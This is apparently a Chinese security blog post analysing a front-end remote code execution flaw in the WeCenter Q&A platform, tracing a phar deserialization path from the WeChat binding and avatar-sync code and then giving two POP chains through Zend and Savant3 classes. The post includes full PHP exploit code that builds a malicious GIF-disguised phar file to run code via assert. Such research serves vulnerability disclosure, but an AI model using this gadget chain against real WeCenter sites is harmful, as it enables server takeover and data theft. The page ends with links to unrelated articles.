漏洞通过phar触发反序列化漏洞。

触发点:./models/account.php 中的 associate_remote_avatar 方法:

搜索全局调用了该方法的地方:

./app/account/ajax.php 路径中的 synch_img_action 方法:

从数据表 users_weixin中取出数据,想要控制此处,就必须要控制这个表。

再次全局搜索 users_weixin 找insert,update等操作。

./models/openid/weixin/weixin.php

再搜索调用 bind_account 方法:

./app/m/weixin.php 中的 binding_action 方法:

触发rce 的pop链:

./system/Savant3.php 中的 __toString 方法:

先查看isError方法:

只要传入的参数 $obj instanceof Savant3_Error 即可返回true。

再次跟进上面的 fetch 方法:

再次回到最初的 getoutput 方法:

跟进escape方法:

再次寻找一处能触发__toString 的链:

./system/Zend/Mail/Transport/Smtp.php 中的 析构方法:

exp:

<?php

class Savant3
{
protected $__config = array(
'error_text' => "phpinfo()",
'exceptions' => false,
'autoload' => false,
'template' => '1',
'escape' => array('assert'),
);
} class Zend_Mail_Transport_Abstract{}
class Zend_Mail_Transport_Smtp extends Zend_Mail_Transport_Abstract
{
protected $_connection;
public function __construct(){
$this->_connection = new Zend_Mail_Protocol_Smtp;
}
}
class Zend_Mail_Protocol_Abstract{}
class Zend_Mail_Protocol_Smtp extends Zend_Mail_Protocol_Abstract
{
protected $_sess = true;
protected $_host;
public function __construct(){
$this->_host = new Savant3;
}
} $obj = new Zend_Mail_Transport_Smtp;
@unlink("test.phar");
$phar = new Phar("test.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub 增加gif文件头
$phar->setMetadata($obj); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
$phar->stopBuffering(); //签名自动计算

还有一条能触发__toString 的pop链:

./system/Zend/Http/Response/Stream.php 中的析构函数:

unlink,file_exists等函数都是可以触发__toString 的。

exp:

<?php
class Savant3
{
protected $__config = array(
'error_text' => "phpinfo()",
'exceptions' => false,
'autoload' => false,
'template' => '1',
'escape' => array('assert'),
);
}
class Zend_Http_Response{}
class Zend_Http_Response_Stream extends Zend_Http_Response
{
protected $_cleanup = 1;
protected $stream_name;
public function __construct()
{
$this->stream_name = new Savant3;
}
}

即可直接造成rce漏洞,因为php >= 7 assert不再是函数,导致不能回调了。

文章参考:

https://xz.aliyun.com/t/7077

http://www.yulegeyu.com/2020/01/22/WECENTER-%E5%8F%8D%E5%BA%8F%E5%88%97%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB%E5%88%A9%E7%94%A8%E9%93%BE/

WeCenter (最新版) 前台RCE漏洞 (2020-02-22)的更多相关文章

  1. 某cms最新版前台RCE漏洞(无需任何权限)2020-03-15

    漏洞文件:application/common/controller/Base.php 中的 getAddonTemplate 方法: 错误的使用了public,导致我们可以直接外部访问. 然后使用了 ...

  2. 威胁快报|首爆,新披露Jenkins RCE漏洞成ImposterMiner挖矿木马新“跳板”

    简介 阿里云安全于近日捕获到一起使用Jenkins RCE漏洞进行攻击的挖矿事件.除挖矿外,攻击者还曾植入具有C&C功能的tsunami木马,也预留了反弹shell的功能,给用户带来极大安全隐 ...

  3. 【Vulhub】CVE-2019-3396 Confluence RCE漏洞复现

    CVE-2019-3396 Confluence RCE漏洞复现 一.环境搭建 选择的vulhub里的镜像,进入vulhub/Confluence/CVE-2019-3396目录下,执行 docker ...

  4. Typecho反序列化导致前台 getshell 漏洞复现

    Typecho反序列化导致前台 getshell 漏洞复现 漏洞描述: Typecho是一款快速建博客的程序,外观简洁,应用广泛.这次的漏洞通过install.php安装程序页面的反序列化函数,造成了 ...

  5. ThinkPHP-5.0.23新的RCE漏洞测试和POC

    TP5新RCE漏洞 昨天又是周五,讨厌周五曝漏洞,还得又得加班,算了,还是先验证一波.新的TP5RCE,据说发现者因为上次的RCE,于是又审计了代码,结果发现的.TP5也成了万人轮啊. 测试 环境搭建 ...

  6. GitStack系统RCE漏洞学习

    漏洞简介 漏洞简情 漏洞程序 GitStack 影响版本 <=2.3.10 漏洞类型 RCE 漏洞评价 高危 漏洞编号 CVE-2018-5955 漏洞程序介绍 GitStack是一款基于Pyt ...

  7. Zimbra无需登录RCE漏洞利用

    2019年3月13号,一名国外的安全研究员在他的博客上公布了zimbra RCE漏洞相关信息,但其中并未提到一些漏洞利用细节. 经过一段时间努力,根据网上各位大牛的分析和我自己的理解,在此我将整个漏洞 ...

  8. WordPress插件Social Warfare<=3.5.2 无需登录RCE漏洞

    该漏洞只存在于Social Warfare插进的3.5.0.3.5.1和3.5.2版本中,其他版本不存在. 2019年3月21日插件作者紧急发布了3.5.3版本以修复高危的RCE漏洞,在<=3. ...

  9. 帝国CMS(EmpireCMS) v7.5 前台XSS漏洞分析

    帝国CMS(EmpireCMS) v7.5 前台XSS漏洞分析 一.漏洞描述 该漏洞是由于javascript获取url的参数,没有经过任何过滤,直接当作a标签和img标签的href属性和src属性输 ...

随机推荐

  1. 基于Python的邮件检测工具

    邮件快速检测工具 概要介绍 mmpi,是一款使用python实现的开源邮件快速检测工具库,基于community框架设计开发.mmpi支持对邮件头.邮件正文.邮件附件的解析检测,并输出json检测报告 ...

  2. Sqoop(四)增量导入、全量导入、减量导入

    增量导入 一.说明 当在生产环境中,我们可能会定期从与业务相关的关系型数据库向Hadoop导入数据,导入数仓后进行后续离线分析.这种情况下我们不可能将所有数据重新再导入一遍,所以此时需要数据增量导入. ...

  3. TypeLoadException: 未能从程序集“ECS.GUI.Define, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null”中加载类型“ECS.GUI.Define.ArmgAimPos”,因为它在 4 偏移位置处包含一个对象字段,该字段已由一个非对象字段不正确地对齐或重叠

    TypeLoadException: 未能从程序集"ECS.GUI.Define, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null ...

  4. 紧急预警】关于爆发的 incaseformat 病毒事件亲身体验

    相关报道 incaseformat病毒 360安全卫士服务号 https://mp.weixin.qq.com/s/KM6esd1eUlBt-YHtEwnfuw 广东省网络安全应急响应平台 https ...

  5. Go语言从入门到放弃(设置 go get 为国内源)

    前言 Go语言学到 Gin 框架了, 其实每天学习是比较辛苦的事情, 坚持下去! 在使用 Go 过程中发现, 最无奈的是Go的一些模块下不下来, 即便挂了V, 油管2k不卡的那种, 依旧是 time ...

  6. Redis实战篇(一)搭建Redis实例

    今天是Redis实战系列的第一讲,先从如何搭建一个Redis实例开始. 下面介绍如何在Docker.Windows.Linux下安装. Docker下安装 1.查看可用的 Redis 版本 访问 Re ...

  7. 【Spring】Spring中的Bean - 1、Baen配置

    Bean配置 简单记录-Java EE企业级应用开发教程(Spring+Spring MVC+MyBatis)-Spring中的Bean 什么是Spring中的Bean? Spring可以被看作是一个 ...

  8. 【Sed】使用sed删除文件指定行的内容

    sed多看帮助文档,受益良多 sed -i '$d' filename 例如删除 /etc/profile的最后一行 cat -n /etc/profile ...    101  export PA ...

  9. 洛谷P3275 [SCOI2011]糖果(差分约束)

    题目描述 幼儿园里有 $N$ 个小朋友,$lxhgww $老师现在想要给这些小朋友们分配糖果,要求每个小朋友都要分到糖果.但是小朋友们也有嫉妒心,总是会提出一些要求,比如小明不希望小红分到的糖果比他的 ...

  10. leetcode刷题录-1395

    目录 题目 思考过程 查看别人分享的思路 总结 题目 题目地址:https://leetcode-cn.com/problems/count-number-of-teams/ n 名士兵站成一排.每个 ...